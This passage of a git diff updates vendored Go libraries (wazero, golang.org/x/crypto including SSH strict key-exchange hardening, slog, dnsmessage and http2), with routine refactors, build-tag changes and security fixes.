return f.tl.Addr().(*net.TCPAddr) +} + +// IsNonblock implements the same method as documented on fsapi.File func (f *winTcpListenerFile) IsNonblock() bool { return f.nonblock } @@ -155,17 +163,9 @@ func (f *winTcpListenerFile) SetNonblock(enabled bool) sys.Errno { return errno } -// Close implements the same method as documented on fsapi.File -func (f *winTcpListenerFile) Close() sys.Errno { - if !f.closed { - return sys.UnwrapOSError(f.tl.Close()) - } - return 0 -} - -// Addr is exposed for testing. -func (f *winTcpListenerFile) Addr() *net.TCPAddr { - return f.tl.Addr().(*net.TCPAddr) +// Poll implements the same method as documented on fsapi.File +func (f *winTcpListenerFile) Poll(fsapi.Pflag, int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS } var _ socketapi.TCPConn = (*winTcpConnFile)(nil) @@ -189,20 +189,7 @@ func newTcpConn(tc *net.TCPConn) socketapi.TCPConn { return &winTcpConnFile{tc: tc} } -// SetNonblock implements the same method as documented on fsapi.File -func (f *winTcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) { - _, errno = syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) { - return 0, sys.UnwrapOSError(setNonblockSocket(syscall.Handle(fd), enabled)) - }) - return -} - -// IsNonblock implements File.IsNonblock -func (f *winTcpConnFile) IsNonblock() bool { - return f.nonblock -} - -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *winTcpConnFile) Read(buf []byte) (n int, errno sys.Errno) { if len(buf) == 0 { return 0, 0 // Short-circuit 0-len reads. @@ -221,7 +208,7 @@ func (f *winTcpConnFile) Read(buf []byte) (n int, errno sys.Errno) { return } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (f *winTcpConnFile) Write(buf []byte) (n int, errno sys.Errno) { if nonBlockingFileWriteSupported && f.IsNonblock() { return syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) { @@ -248,7 +235,7 @@ func (f *winTcpConnFile) Recvfrom(p []byte, flags int) (n int, errno sys.Errno) }) } -// Shutdown implements the same method as documented on fsapi.Conn +// Shutdown implements the same method as documented on sys.Conn func (f *winTcpConnFile) Shutdown(how int) sys.Errno { // FIXME: can userland shutdown listeners? var err error @@ -265,7 +252,7 @@ func (f *winTcpConnFile) Shutdown(how int) sys.Errno { return sys.UnwrapOSError(err) } -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (f *winTcpConnFile) Close() sys.Errno { return f.close() } @@ -277,3 +264,22 @@ func (f *winTcpConnFile) close() sys.Errno { f.closed = true return f.Shutdown(syscall.SHUT_RDWR) } + +// IsNonblock implements the same method as documented on fsapi.File +func (f *winTcpConnFile) IsNonblock() bool { + return f.nonblock +} + +// SetNonblock implements the same method as documented on fsapi.File +func (f *winTcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) { + f.nonblock = true + _, errno = syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) { + return 0, sys.UnwrapOSError(setNonblockSocket(syscall.Handle(fd), enabled)) + }) + return +} + +// Poll implements the same method as documented on fsapi.File +func (f *winTcpConnFile) Poll(fsapi.Pflag, int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go index aeb7419716..254e204cd9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go @@ -5,7 +5,6 @@ package sysfs import ( "io/fs" "os" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/sys" @@ -36,14 +35,3 @@ func stat(path string) (sys.Stat_t, experimentalsys.Errno) { func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } - -func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { - switch v := info.Sys().(type) { - case *sys.Stat_t: - return v.Ino, 0 - case *syscall.Stat_t: - return v.Ino, 0 - default: - return 0, 0 - } -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go index 426b2850a4..fd289756de 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go @@ -8,7 +8,6 @@ package sysfs import ( "io/fs" "os" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/sys" @@ -39,14 +38,3 @@ func stat(path string) (sys.Stat_t, experimentalsys.Errno) { func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } - -func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { - switch v := info.Sys().(type) { - case *sys.Stat_t: - return v.Ino, 0 - case *syscall.Stat_t: - return v.Ino, 0 - default: - return 0, 0 - } -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go index b220041582..4b05a89772 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go @@ -5,7 +5,6 @@ package sysfs import ( "io/fs" "os" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/sys" @@ -39,10 +38,3 @@ func stat(path string) (sys.Stat_t, experimentalsys.Errno) { func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } - -func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { - if st, ok := info.Sys().(*syscall.Stat_t); ok { - return st.Ino, 0 - } - return 0, 0 -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go index db28300bf4..4456dd7828 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go @@ -4,7 +4,6 @@ package sysfs import ( "io/fs" - "path" "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" @@ -77,22 +76,6 @@ func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } -// inoFromFileInfo uses stat to get the inode information of the file. -func inoFromFileInfo(dirPath string, info fs.FileInfo) (ino sys.Inode, errno experimentalsys.Errno) { - if dirPath == "" { - // This is a fs.File backed implementation which doesn't have access to - // the original file path. - return - } - // Ino is no not in Win32FileAttributeData - inoPath := path.Clean(path.Join(dirPath, info.Name())) - var st sys.Stat_t - if st, errno = lstat(inoPath); errno == 0 { - ino = st.Ino - } - return -} - func statHandle(h syscall.Handle) (sys.Stat_t, experimentalsys.Errno) { winFt, err := syscall.GetFileType(h) if err != nil { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go index 4f20b00ea2..4f7dbe3fe7 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go @@ -1,4 +1,4 @@ -//go:build !windows +//go:build !windows && !plan9 package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go new file mode 100644 index 0000000000..16ed06ab2a --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go @@ -0,0 +1,12 @@ +package sysfs + +import ( + "syscall" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +func unlink(name string) sys.Errno { + err := syscall.Remove(name) + return sys.UnwrapOSError(err) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go index e247809eec..be31c7b911 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go @@ -1,5 +1,3 @@ -//go:build windows - package sysfs import ( diff --git a/vendor/golang.org/x/crypto/argon2/blamka_amd64.s b/vendor/golang.org/x/crypto/argon2/blamka_amd64.s index f3b653a12f..6713accac0 100644 --- a/vendor/golang.org/x/crypto/argon2/blamka_amd64.s +++ b/vendor/golang.org/x/crypto/argon2/blamka_amd64.s @@ -199,8 +199,8 @@ TEXT ·mixBlocksSSE2(SB), 4, $0-32 MOVQ out+0(FP), DX MOVQ a+8(FP), AX MOVQ b+16(FP), BX - MOVQ a+24(FP), CX - MOVQ $128, BP + MOVQ c+24(FP), CX + MOVQ $128, DI loop: MOVOU 0(AX), X0 @@ -213,7 +213,7 @@ loop: ADDQ $16, BX ADDQ $16, CX ADDQ $16, DX - SUBQ $2, BP + SUBQ $2, DI JA loop RET @@ -222,8 +222,8 @@ TEXT ·xorBlocksSSE2(SB), 4, $0-32 MOVQ out+0(FP), DX MOVQ a+8(FP), AX MOVQ b+16(FP), BX - MOVQ a+24(FP), CX - MOVQ $128, BP + MOVQ c+24(FP), CX + MOVQ $128, DI loop: MOVOU 0(AX), X0 @@ -238,6 +238,6 @@ loop: ADDQ $16, BX ADDQ $16, CX ADDQ $16, DX - SUBQ $2, BP + SUBQ $2, DI JA loop RET diff --git a/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.go b/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.go index 4f506f8791..199c21d27a 100644 --- a/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.go +++ b/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.go @@ -2,7 +2,7 @@ // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. -//go:build go1.7 && amd64 && gc && !purego +//go:build amd64 && gc && !purego package blake2b diff --git a/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.s b/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.s index 353bb7cac5..9ae8206c20 100644 --- a/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.s +++ b/vendor/golang.org/x/crypto/blake2b/blake2bAVX2_amd64.s @@ -2,7 +2,7 @@ // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. -//go:build go1.7 && amd64 && gc && !purego +//go:build amd64 && gc && !purego #include "textflag.h" diff --git a/vendor/golang.org/x/crypto/blake2b/blake2b_amd64.go b/vendor/golang.org/x/crypto/blake2b/blake2b_amd64.go deleted file mode 100644 index 1d0770abba..0000000000 --- a/vendor/golang.org/x/crypto/blake2b/blake2b_amd64.go +++ /dev/null @@ -1,24 +0,0 @@ -// Copyright 2016 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build !go1.7 && amd64 && gc && !purego - -package blake2b - -import "golang.org/x/sys/cpu" - -func init() { - useSSE4 = cpu.X86.HasSSE41 -} - -//go:noescape -func hashBlocksSSE4(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte) - -func hashBlocks(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte) { - if useSSE4 { - hashBlocksSSE4(h, c, flag, blocks) - } else { - hashBlocksGeneric(h, c, flag, blocks) - } -} diff --git a/vendor/golang.org/x/crypto/blake2b/register.go b/vendor/golang.org/x/crypto/blake2b/register.go index d9fcac3a4d..54e446e1d2 100644 --- a/vendor/golang.org/x/crypto/blake2b/register.go +++ b/vendor/golang.org/x/crypto/blake2b/register.go @@ -2,8 +2,6 @@ // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. -//go:build go1.9 - package blake2b import ( diff --git a/vendor/golang.org/x/crypto/ssh/channel.go b/vendor/golang.org/x/crypto/ssh/channel.go index c0834c00df..cc0bb7ab64 100644 --- a/vendor/golang.org/x/crypto/ssh/channel.go +++ b/vendor/golang.org/x/crypto/ssh/channel.go @@ -187,9 +187,11 @@ type channel struct { pending *buffer extPending *buffer - // windowMu protects myWindow, the flow-control window. - windowMu sync.Mutex - myWindow uint32 + // windowMu protects myWindow, the flow-control window, and myConsumed, + // the number of bytes consumed since we last increased myWindow + windowMu sync.Mutex + myWindow uint32 + myConsumed uint32 // writeMu serializes calls to mux.conn.writePacket() and // protects sentClose and packetPool. This mutex must be @@ -332,14 +334,24 @@ func (ch *channel) handleData(packet []byte) error { return nil } -func (c *channel) adjustWindow(n uint32) error { +func (c *channel) adjustWindow(adj uint32) error { c.windowMu.Lock() - // Since myWindow is managed on our side, and can never exceed - // the initial window setting, we don't worry about overflow. - c.myWindow += uint32(n) + // Since myConsumed and myWindow are managed on our side, and can never + // exceed the initial window setting, we don't worry about overflow. + c.myConsumed += adj + var sendAdj uint32 + if (channelWindowSize-c.myWindow > 3*c.maxIncomingPayload) || + (c.myWindow < channelWindowSize/2) { + sendAdj = c.myConsumed + c.myConsumed = 0 + c.myWindow += sendAdj + } c.windowMu.Unlock() + if sendAdj == 0 { + return nil + } return c.sendMessage(windowAdjustMsg{ - AdditionalBytes: uint32(n), + AdditionalBytes: sendAdj, }) } diff --git a/vendor/golang.org/x/crypto/ssh/client.go b/vendor/golang.org/x/crypto/ssh/client.go index bdc356cbdf..fd8c49749e 100644 --- a/vendor/golang.org/x/crypto/ssh/client.go +++ b/vendor/golang.org/x/crypto/ssh/client.go @@ -82,7 +82,7 @@ func NewClientConn(c net.Conn, addr string, config *ClientConfig) (Conn, <-chan if err := conn.clientHandshake(addr, &fullConf); err != nil { c.Close() - return nil, nil, nil, fmt.Errorf("ssh: handshake failed: %v", err) + return nil, nil, nil, fmt.Errorf("ssh: handshake failed: %w", err) } conn.mux = newMux(conn.transport) return conn, conn.mux.incomingChannels, conn.mux.incomingRequests, nil diff --git a/vendor/golang.org/x/crypto/ssh/client_auth.go b/vendor/golang.org/x/crypto/ssh/client_auth.go index 5c3bc25723..34bf089d0b 100644 --- a/vendor/golang.org/x/crypto/ssh/client_auth.go +++ b/vendor/golang.org/x/crypto/ssh/client_auth.go @@ -307,7 +307,10 @@ func (cb publicKeyCallback) auth(session []byte, user string, c packetConn, rand } var methods []string var errSigAlgo error - for _, signer := range signers { + + origSignersLen := len(signers) + for idx := 0; idx < len(signers); idx++ { + signer := signers[idx] pub := signer.PublicKey() as, algo, err := pickSignatureAlgorithm(signer, extensions) if err != nil && errSigAlgo == nil { @@ -321,6 +324,21 @@ func (cb publicKeyCallback) auth(session []byte, user string, c packetConn, rand if err != nil { return authFailure, nil, err } + // OpenSSH 7.2-7.7 advertises support for rsa-sha2-256 and rsa-sha2-512 + // in the "server-sig-algs" extension but doesn't support these + // algorithms for certificate authentication, so if the server rejects + // the key try to use the obtained algorithm as if "server-sig-algs" had + // not been implemented if supported from the algorithm signer. + if !ok && idx < origSignersLen && isRSACert(algo) && algo != CertAlgoRSAv01 { + if contains(as.Algorithms(), KeyAlgoRSA) { + // We retry using the compat algorithm after all signers have + // been tried normally. + signers = append(signers, &multiAlgorithmSigner{ + AlgorithmSigner: as, + supportedAlgorithms: []string{KeyAlgoRSA}, + }) + } + } if !ok { continue } diff --git a/vendor/golang.org/x/crypto/ssh/common.go b/vendor/golang.org/x/crypto/ssh/common.go index dd2ab0d69a..7e9c2cbc64 100644 --- a/vendor/golang.org/x/crypto/ssh/common.go +++ b/vendor/golang.org/x/crypto/ssh/common.go @@ -127,6 +127,14 @@ func isRSA(algo string) bool { return contains(algos, underlyingAlgo(algo)) } +func isRSACert(algo string) bool { + _, ok := certKeyAlgoNames[algo] + if !ok { + return false + } + return isRSA(algo) +} + // supportedPubKeyAuthAlgos specifies the supported client public key // authentication algorithms. Note that this doesn't include certificate types // since those use the underlying algorithm. This list is sent to the client if diff --git a/vendor/golang.org/x/crypto/ssh/handshake.go b/vendor/golang.org/x/crypto/ssh/handshake.go index 49bbba7692..56cdc7c21c 100644 --- a/vendor/golang.org/x/crypto/ssh/handshake.go +++ b/vendor/golang.org/x/crypto/ssh/handshake.go @@ -35,6 +35,16 @@ type keyingTransport interface { // direction will be effected if a msgNewKeys message is sent // or received. prepareKeyChange(*algorithms, *kexResult) error + + // setStrictMode sets the strict KEX mode, notably triggering + // sequence number resets on sending or receiving msgNewKeys. + // If the sequence number is already > 1 when setStrictMode + // is called, an error is returned. + setStrictMode() error + + // setInitialKEXDone indicates to the transport that the initial key exchange + // was completed + setInitialKEXDone() } // handshakeTransport implements rekeying on top of a keyingTransport @@ -100,6 +110,10 @@ type handshakeTransport struct { // The session ID or nil if first kex did not complete yet. sessionID []byte + + // strictMode indicates if the other side of the handshake indicated + // that we should be following the strict KEX protocol restrictions. + strictMode bool } type pendingKex struct { @@ -209,7 +223,10 @@ func (t *handshakeTransport) readLoop() { close(t.incoming) break } - if p[0] == msgIgnore || p[0] == msgDebug { + // If this is the first kex, and strict KEX mode is enabled, + // we don't ignore any messages, as they may be used to manipulate + // the packet sequence numbers. + if !(t.sessionID == nil && t.strictMode) && (p[0] == msgIgnore || p[0] == msgDebug) { continue } t.incoming <- p @@ -441,6 +458,11 @@ func (t *handshakeTransport) readOnePacket(first bool) ([]byte, error) { return successPacket, nil } +const ( + kexStrictClient = "kex-strict-c-v00@openssh.com" + kexStrictServer = "kex-strict-s-v00@openssh.com" +) + // sendKexInit sends a key change message. func (t *handshakeTransport) sendKexInit() error { t.mu.Lock() @@ -454,7 +476,6 @@ func (t *handshakeTransport) sendKexInit() error { } msg := &kexInitMsg{ - KexAlgos: t.config.KeyExchanges, CiphersClientServer: t.config.Ciphers, CiphersServerClient: t.config.Ciphers, MACsClientServer: t.config.MACs, @@ -464,6 +485,13 @@ func (t *handshakeTransport) sendKexInit() error { } io.ReadFull(rand.Reader, msg.Cookie[:]) + // We mutate the KexAlgos slice, in order to add the kex-strict extension algorithm, + // and possibly to add the ext-info extension algorithm. Since the slice may be the + // user owned KeyExchanges, we create our own slice in order to avoid using user + // owned memory by mistake. + msg.KexAlgos = make([]string, 0, len(t.config.KeyExchanges)+2) // room for kex-strict and ext-info + msg.KexAlgos = append(msg.KexAlgos, t.config.KeyExchanges...) + isServer := len(t.hostKeys) > 0 if isServer { for _, k := range t.hostKeys { @@ -488,17 +516,24 @@ func (t *handshakeTransport) sendKexInit() error { msg.ServerHostKeyAlgos = append(msg.ServerHostKeyAlgos, keyFormat) } } + + if t.sessionID == nil { + msg.KexAlgos = append(msg.KexAlgos, kexStrictServer) + } } else { msg.ServerHostKeyAlgos = t.hostKeyAlgorithms // As a client we opt in to receiving SSH_MSG_EXT_INFO so we know what // algorithms the server supports for public key authentication. See RFC // 8308, Section 2.1. + // + // We also send the strict KEX mode extension algorithm, in order to opt + // into the strict KEX mode. if firstKeyExchange := t.sessionID == nil; firstKeyExchange { - msg.KexAlgos = make([]string, 0, len(t.config.KeyExchanges)+1) - msg.KexAlgos = append(msg.KexAlgos, t.config.KeyExchanges...) msg.KexAlgos = append(msg.KexAlgos, "ext-info-c") + msg.KexAlgos = append(msg.KexAlgos, kexStrictClient) } + } packet := Marshal(msg) @@ -604,6 +639,13 @@ func (t *handshakeTransport) enterKeyExchange(otherInitPacket []byte) error { return err } + if t.sessionID == nil && ((isClient && contains(serverInit.KexAlgos, kexStrictServer)) || (!isClient && contains(clientInit.KexAlgos, kexStrictClient))) { + t.strictMode = true + if err := t.conn.setStrictMode(); err != nil { + return err + } + } + // We don't send FirstKexFollows, but we handle receiving it. // // RFC 4253 section 7 defines the kex and the agreement method for @@ -679,6 +721,12 @@ func (t *handshakeTransport) enterKeyExchange(otherInitPacket []byte) error { return unexpectedMessageError(msgNewKeys, packet[0]) } + if firstKeyExchange { + // Indicates to the transport that the first key exchange is completed + // after receiving SSH_MSG_NEWKEYS. + t.conn.setInitialKEXDone() + } + return nil } diff --git a/vendor/golang.org/x/crypto/ssh/server.go b/vendor/golang.org/x/crypto/ssh/server.go index 8f1505af94..c2dfe3268c 100644 --- a/vendor/golang.org/x/crypto/ssh/server.go +++ b/vendor/golang.org/x/crypto/ssh/server.go @@ -213,6 +213,7 @@ func NewServerConn(c net.Conn, config *ServerConfig) (*ServerConn, <-chan NewCha } else { for _, algo := range fullConf.PublicKeyAuthAlgorithms { if !contains(supportedPubKeyAuthAlgos, algo) { + c.Close() return nil, nil, nil, fmt.Errorf("ssh: unsupported public key authentication algorithm %s", algo) } } @@ -220,6 +221,7 @@ func NewServerConn(c net.Conn, config *ServerConfig) (*ServerConn, <-chan NewCha // Check if the config contains any unsupported key exchanges for _, kex := range fullConf.KeyExchanges { if _, ok := serverForbiddenKexAlgos[kex]; ok { + c.Close() return nil, nil, nil, fmt.Errorf("ssh: unsupported key exchange %s for server", kex) } } @@ -337,7 +339,7 @@ func checkSourceAddress(addr net.Addr, sourceAddrs string) error { return fmt.Errorf("ssh: remote address %v is not allowed because of source-address restriction", addr) } -func gssExchangeToken(gssapiConfig *GSSAPIWithMICConfig, firstToken []byte, s *connection, +func gssExchangeToken(gssapiConfig *GSSAPIWithMICConfig, token []byte, s *connection, sessionID []byte, userAuthReq userAuthRequestMsg) (authErr error, perms *Permissions, err error) { gssAPIServer := gssapiConfig.Server defer gssAPIServer.DeleteSecContext() @@ -347,7 +349,7 @@ func gssExchangeToken(gssapiConfig *GSSAPIWithMICConfig, firstToken []byte, s *c outToken []byte needContinue bool ) - outToken, srcName, needContinue, err = gssAPIServer.AcceptSecContext(firstToken) + outToken, srcName, needContinue, err = gssAPIServer.AcceptSecContext(token) if err != nil { return err, nil, nil } @@ -369,6 +371,7 @@ func gssExchangeToken(gssapiConfig *GSSAPIWithMICConfig, firstToken []byte, s *c if err := Unmarshal(packet, userAuthGSSAPITokenReq); err != nil { return nil, nil, err } + token = userAuthGSSAPITokenReq.Token } packet, err := s.transport.readPacket() if err != nil { diff --git a/vendor/golang.org/x/crypto/ssh/tcpip.go b/vendor/golang.org/x/crypto/ssh/tcpip.go index 80d35f5ec1..ef5059a11d 100644 --- a/vendor/golang.org/x/crypto/ssh/tcpip.go +++ b/vendor/golang.org/x/crypto/ssh/tcpip.go @@ -5,6 +5,7 @@ package ssh import ( + "context" "errors" "fmt" "io" @@ -332,6 +333,40 @@ func (l *tcpListener) Addr() net.Addr { return l.laddr } +// DialContext initiates a connection to the addr from the remote host. +// +// The provided Context must be non-nil. If the context expires before the +// connection is complete, an error is returned. Once successfully connected, +// any expiration of the context will not affect the connection. +// +// See func Dial for additional information. +func (c *Client) DialContext(ctx context.Context, n, addr string) (net.Conn, error) { + if err := ctx.Err(); err != nil { + return nil, err + } + type connErr struct { + conn net.Conn + err error + } + ch := make(chan connErr) + go func() { + conn, err := c.Dial(n, addr) + select { + case ch <- connErr{conn, err}: + case <-ctx.Done(): + if conn != nil { + conn.Close() + } + } + }() + select { + case res := <-ch: + return res.conn, res.err + case <-ctx.Done(): + return nil, ctx.Err() + } +} + // Dial initiates a connection to the addr from the remote host. // The resulting connection has a zero LocalAddr() and RemoteAddr(). func (c *Client) Dial(n, addr string) (net.Conn, error) { diff --git a/vendor/golang.org/x/crypto/ssh/transport.go b/vendor/golang.org/x/crypto/ssh/transport.go index da015801ea..0424d2d37c 100644 --- a/vendor/golang.org/x/crypto/ssh/transport.go +++ b/vendor/golang.org/x/crypto/ssh/transport.go @@ -49,6 +49,9 @@ type transport struct { rand io.Reader isClient bool io.Closer + + strictMode bool + initialKEXDone bool } // packetCipher represents a combination of SSH encryption/MAC @@ -74,6 +77,18 @@ type connectionState struct { pendingKeyChange chan packetCipher } +func (t *transport) setStrictMode() error { + if t.reader.seqNum != 1 { + return errors.New("ssh: sequence number != 1 when strict KEX mode requested") + } + t.strictMode = true + return nil +} + +func (t *transport) setInitialKEXDone() { + t.initialKEXDone = true +} + // prepareKeyChange sets up key material for a keychange. The key changes in // both directions are triggered by reading and writing a msgNewKey packet // respectively. @@ -112,11 +127,12 @@ func (t *transport) printPacket(p []byte, write bool) { // Read and decrypt next packet. func (t *transport) readPacket() (p []byte, err error) { for { - p, err = t.reader.readPacket(t.bufReader) + p, err = t.reader.readPacket(t.bufReader, t.strictMode) if err != nil { break } - if len(p) == 0 || (p[0] != msgIgnore && p[0] != msgDebug) { + // in strict mode we pass through DEBUG and IGNORE packets only during the initial KEX + if len(p) == 0 || (t.strictMode && !t.initialKEXDone) || (p[0] != msgIgnore && p[0] != msgDebug) { break } } @@ -127,7 +143,7 @@ func (t *transport) readPacket() (p []byte, err error) { return p, err } -func (s *connectionState) readPacket(r *bufio.Reader) ([]byte, error) { +func (s *connectionState) readPacket(r *bufio.Reader, strictMode bool) ([]byte, error) { packet, err := s.packetCipher.readCipherPacket(s.seqNum, r) s.seqNum++ if err == nil && len(packet) == 0 { @@ -140,6 +156,9 @@ func (s *connectionState) readPacket(r *bufio.Reader) ([]byte, error) { select { case cipher := <-s.pendingKeyChange: s.packetCipher = cipher + if strictMode { + s.seqNum = 0 + } default: return nil, errors.New("ssh: got bogus newkeys message") } @@ -170,10 +189,10 @@ func (t *transport) writePacket(packet []byte) error { if debugTransport { t.printPacket(packet, true) } - return t.writer.writePacket(t.bufWriter, t.rand, packet) + return t.writer.writePacket(t.bufWriter, t.rand, packet, t.strictMode) } -func (s *connectionState) writePacket(w *bufio.Writer, rand io.Reader, packet []byte) error { +func (s *connectionState) writePacket(w *bufio.Writer, rand io.Reader, packet []byte, strictMode bool) error { changeKeys := len(packet) > 0 && packet[0] == msgNewKeys err := s.packetCipher.writeCipherPacket(s.seqNum, w, rand, packet) @@ -188,6 +207,9 @@ func (s *connectionState) writePacket(w *bufio.Writer, rand io.Reader, packet [] select { case cipher := <-s.pendingKeyChange: s.packetCipher = cipher + if strictMode { + s.seqNum = 0 + } default: panic("ssh: no key material for msgNewKeys") } diff --git a/vendor/golang.org/x/exp/slog/handler.go b/vendor/golang.org/x/exp/slog/handler.go index 74f88738c9..bd635cb818 100644 --- a/vendor/golang.org/x/exp/slog/handler.go +++ b/vendor/golang.org/x/exp/slog/handler.go @@ -8,6 +8,7 @@ import ( "context" "fmt" "io" + "reflect" "strconv" "sync" "time" @@ -504,6 +505,23 @@ func (s *handleState) appendString(str string) { } func (s *handleState) appendValue(v Value) { + defer func() { + if r := recover(); r != nil { + // If it panics with a nil pointer, the most likely cases are + // an encoding.TextMarshaler or error fails to guard against nil, + // in which case "" seems to be the feasible choice. + // + // Adapted from the code in fmt/print.go. + if v := reflect.ValueOf(v.any); v.Kind() == reflect.Pointer && v.IsNil() { + s.appendString("") + return + } + + // Otherwise just print the original panic message. + s.appendString(fmt.Sprintf("!PANIC: %v", r)) + } + }() + var err error if s.h.json { err = appendJSONValue(s, v) diff --git a/vendor/golang.org/x/net/dns/dnsmessage/message.go b/vendor/golang.org/x/net/dns/dnsmessage/message.go index b6b4f9c197..42987ab7c5 100644 --- a/vendor/golang.org/x/net/dns/dnsmessage/message.go +++ b/vendor/golang.org/x/net/dns/dnsmessage/message.go @@ -751,6 +751,9 @@ func (p *Parser) AllAnswers() ([]Resource, error) { } // SkipAnswer skips a single Answer Resource. +// +// It does not perform a complete validation of the resource header, which means +// it may return a nil error when the [AnswerHeader] would actually return an error. func (p *Parser) SkipAnswer() error { return p.skipResource(sectionAnswers) } @@ -801,6 +804,9 @@ func (p *Parser) AllAuthorities() ([]Resource, error) { } // SkipAuthority skips a single Authority Resource. +// +// It does not perform a complete validation of the resource header, which means +// it may return a nil error when the [AuthorityHeader] would actually return an error. func (p *Parser) SkipAuthority() error { return p.skipResource(sectionAuthorities) } @@ -851,6 +857,9 @@ func (p *Parser) AllAdditionals() ([]Resource, error) { } // SkipAdditional skips a single Additional Resource. +// +// It does not perform a complete validation of the resource header, which means +// it may return a nil error when the [AdditionalHeader] would actually return an error. func (p *Parser) SkipAdditional() error { return p.skipResource(sectionAdditionals) } diff --git a/vendor/golang.org/x/net/http2/databuffer.go b/vendor/golang.org/x/net/http2/databuffer.go index a3067f8de7..e6f55cbd16 100644 --- a/vendor/golang.org/x/net/http2/databuffer.go +++ b/vendor/golang.org/x/net/http2/databuffer.go @@ -20,41 +20,44 @@ import ( // TODO: Benchmark to determine if the pools are necessary. The GC may have // improved enough that we can instead allocate chunks like this: // make([]byte, max(16<<10, expectedBytesRemaining)) -var ( - dataChunkSizeClasses = []int{ - 1 << 10, - 2 << 10, - 4 << 10, - 8 << 10, - 16 << 10, - } - dataChunkPools = [...]sync.Pool{ - {New: func() interface{} { return make([]byte, 1<<10) }}, - {New: func() interface{} { return make([]byte, 2<<10) }}, - {New: func() interface{} { return make([]byte, 4<<10) }}, - {New: func() interface{} { return make([]byte, 8<<10) }}, - {New: func() interface{} { return make([]byte, 16<<10) }}, - } -) +var dataChunkPools = [...]sync.Pool{ + {New: func() interface{} { return new([1 << 10]byte) }}, + {New: func() interface{} { return new([2 << 10]byte) }}, + {New: func() interface{} { return new([4 << 10]byte) }}, + {New: func() interface{} { return new([8 << 10]byte) }}, + {New: func() interface{} { return new([16 << 10]byte) }}, +} func getDataBufferChunk(size int64) []byte { - i := 0 - for ; i < len(dataChunkSizeClasses)-1; i++ { - if size <= int64(dataChunkSizeClasses[i]) { - break - } + switch { + case size <= 1<<10: + return dataChunkPools[0].Get().(*[1 << 10]byte)[:] + case size <= 2<<10: + return dataChunkPools[1].Get().(*[2 << 10]byte)[:] + case size <= 4<<10: + return dataChunkPools[2].Get().(*[4 << 10]byte)[:] + case size <= 8<<10: + return dataChunkPools[3].Get().(*[8 << 10]byte)[:] + default: + return 